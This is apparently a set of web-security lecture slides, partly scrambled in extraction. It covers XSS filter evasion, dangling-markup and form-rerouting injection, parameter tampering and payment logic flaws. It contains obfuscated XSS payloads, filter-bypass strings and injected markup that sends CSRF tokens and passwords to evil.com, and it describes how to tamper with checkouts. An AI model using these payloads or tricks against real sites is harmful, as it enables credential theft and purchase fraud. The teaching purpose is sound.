 <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
 <SPAN DATASRC="#xss" DATAFLD="B" <DIV STYLE="background-image:\
0075\0072\006C\0028'\006a\
0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\
0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
 <EMBED SRC="
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>
What do you think is
this code doing?
Note: all of the above are browser-dependent
slide 90
Problems with Filters
 Suppose a filter removes <script
• <script src=“…” becomes
src=“…”
• <scr<scriptipt src=“…” becomes
<script src=“…”
 Removing special characters
• java&#x09;script – blocked, &#x09 is horizontal tab
• java&#x26;#x09;script – becomes java&#x09;script
– Filter transforms input into an attack!
 Need to loop and reapply until nothing found
slide 91
Simulation Errors in Filters
 Filter must predict how the browser would parse
a given sequence of characters… this is hard!
 NoScript
• Does not know that / can delimit HTML attributes
<a<img/src/onerror=alert(1)//<
 noXSS
• Does not understand HTML entity encoded JavaScript
 IE8 filter
• Does not use the same
byte-to-character decoding as the browser
slide 92
 Reflective XSS Filters
 Introduced in IE 8
 Blocks any script that appears both in the request
and the response (why?)

http://www.victim.com?var=<script> alert(‘xss’)

If <script> appears in the rendered page, the filter

will replace it with <sc#pt>

slide 93
Busting Frame Busting
 Frame busting code
• <script> if(top.location != self.location) // framebust
</script>
 Request:
• http://www.victim.com?var=<script> if (top …
 Rendered
• <sc#pt> if(top.location != self.location)
• What has just happened?
 Same problem in Chrome’s XSS auditor

slide 94
httpOnly Cookies
GET
Browser
Server
HTTP Header:
Set-cookie: NAME=VALUE ;
httpOnly

 Cookie sent over HTTP(S), but cannot be

accessed by script via document.cookie
 Prevents cookie theft via XSS
 Does not stop most other XSS attacks!

slide 95
Post-XSS World
[“Postcards from the post-XSS world”]

 XSS = script injection … or is it?

 Many browser mechanisms to stop script injection
• Add-ons like NoScript
• Built-in XSS filters in IE and Chrome
• Client-side APIs like toStaticHTML() …
 Many server-side defenses
 But attacker can do damage by injecting non-
script HTML markup elements, too

slide 96
Dangling Markup Injection
[“Postcards from the post-XSS world”]

<img src='http://evil.com/log.cgi?
Injected tag
…
<input type="hidden" name="xsrf_token" value="12345">
…'
</div>

All of this sent to evil.com as a URL

slide 97
Another Variant
[“Postcards from the post-XSS world”]

<form action='http://evil.com/log.cgi'><textarea>
…
<input type="hidden" name="xsrf_token" value="12345">
…
<EOF>

No longer need the closing apostrophe and bracket in the page!

Only works if the user submits the form …
… but HTML5 may adopt auto-submitting forms

slide 98
Rerouting Existing Forms
[“Postcards from the post-XSS world”]

<form action='http://evil.com/log.cgi>
…
<form action='update_profile.php'>
…
<input type="text" name="pwd" value="trustno1">
…
</form>

Forms can’t be nested, top-level occurrence takes precedence

slide 99
Namespace Attacks
[“Postcards from the post-XSS world”]

<img id= 'is_public'> Identifier attached to tag is automatically

added to JavaScript namespace with
… higher priority than script-created variables
function retrieve_acls() { …
if (response.access_mode == AM_PUBLIC)
is_public = true;
In some browsers, can use this technique
else
to inject numbers and strings, too
is_public = false; }
Always evaluates to true
function submit_new_acls() { …
if (is_public) request.access_mode = AM_PUBLIC; … }

slide 100
Other Injection Possibilities
[“Postcards from the post-XSS world”]

 <base href=“….”> tags

• Hijack existing relative URLs
 Forms
• In-browser password managers detect forms with
password fields, fill them out automatically with the
password stored for the form’s origin
 Form fields and parameters (into existing forms)
• Change the meaning of forms submitted by user
 JSONP calls
• Invoke any existing function by specifying it as the
callback in the injected call to the server’s JSONP API
slide 101
Logic Flaws in Web Applications
 “NoTamper: Automatic Blackbox Detection of
Parameter Tampering Opportunities in Web
Applications”
 “How to Shop for Free Online - Security Analysis
of Cashier-as-a-Service Based Web Stores”

slide 102
User Input Validation
[“NoTamper”, Bisht et al.]

 Web applications need to reject invalid inputs

• “Credit card number should be 15 or 16 digits”
• “Expiration date in the past is not valid”
 Traditionally done at the server
• Round-trip communication, increased load
 Better idea (?): do it in the browser using
client-side JavaScript code slide 103
Client-Side Validation
[“NoTamper”, Bisht et al.]

onSubmit=
validateCard();
validateQuantities();

Validation Ok?

Yes No

send inputs reject

to server inputs

slide 104
Problem: Client Is Untrusted
[“NoTamper”, Bisht et al.]

Previously rejected
values sent to server

Inputs must be
re-validated at
server!

slide 105
Online Banking
[“NoTamper”, Bisht et al.]

Client-side constraints:
from IN (Accnt1, Accnt2)
to IN (Accnt1, Accnt2)
Server-side code:
SelfReliance.com transfer money from  to

Vulnerability: malicious client submits arbitrary account

numbers for unauthorized money transfers

slide 106
Online Shopping
[“NoTamper”, Bisht et al.]

Client-side constraints:
CodeMicro.com
quantity1 ≥ 0
quantity2 ≥ 0

Server-side code:
total = quantity1 * price1 +
quantity2 * price2

Vulnerability: malicious client submits negative quantities

for unlimited shopping rebates
Two items in cart: price1 = $100, price2 = $500
quantity1 = -4, quantity2 = 1, total = $100 (rebate of $400 on price2)
slide 107
IT Support
[“NoTamper”, Bisht et al.]

Client-side constraints:
userId == 96 (hidden field)
Hidden
Field
Server-side code:
Update profile with id 96
with new details

Vulnerability: update arbitrary account

Inject a cross-site scripting (XSS) payload in admin account,

cookies stolen every time admin logged in

slide 108
Content Management
[Bisht et al.]

Server-side code:
privilege = non-admin;
if ( _COOKIE[‘make_install_prn’]

== 1 )
privilege = admin;

Vulnerability: malicious client sets make_install_prn cookie,

creates fake admin account

slide 109
Cashier-as-a-Service
[Wang et al.]

Web store

e ord er
tt h
abou
Shopper i c a tion
mu n
com Joint decision:
is an order
appropriately paid?
comm
u nicat
ion ab
out th
e p a ym
ent

PayPal, Amazon Payments,

Google Checkout, etc.

slide 110
 nopCommerce + Amazon Simple Pay
[Wang et al.]

 Anyone can register an Amazon Chuck, pay in Amazon

with this signed letter:
seller account, so can Chuck Amazon, I want to pay
with thisAmazon,
Dear letter
• Purchase a $25 MasterCard gift Great, I will ship
order#123 is $10, when it is
card by cash, register under a fake paid, order#123!
Jeff, text me at 425-111-2222.
address and phone number I want to buy[Jeff’s
this signature]
• Create seller accounts in PayPal, DVD. Jeff
Amazon and Google using the card

 Chuck’s trick Hi, $10 has been paid for

• Check out from Jeff, but pay to order#123.
“Mark” (Chuck himself) [Amazon’s signature]
• Amazon tells Jeff that payment
has been successful Shopper Chuck
• Jeff is confused, ships product (and seller Mark)
Amazon (CaaS)
slide 111
 Interspire + PayPal Express
[Wang et al.]
Session 1: pay for a cheap order (orderID1), Session 2: place an expensive order
but prevent the merchant from finalizing it (orderID2) , but skip the payment step
by holding Message B store store

Message A Message A
Message B

Message A redirects to
Message A redirects to store.com/finalizeOrder?
[orderID1]store store.com/finalizeOrder?[orderID2]store

Message B calls store.com/finalizeOrder?[orderID1]store [orderID2]store

Expensive order is checked out but the cheap one is paid!
slide 112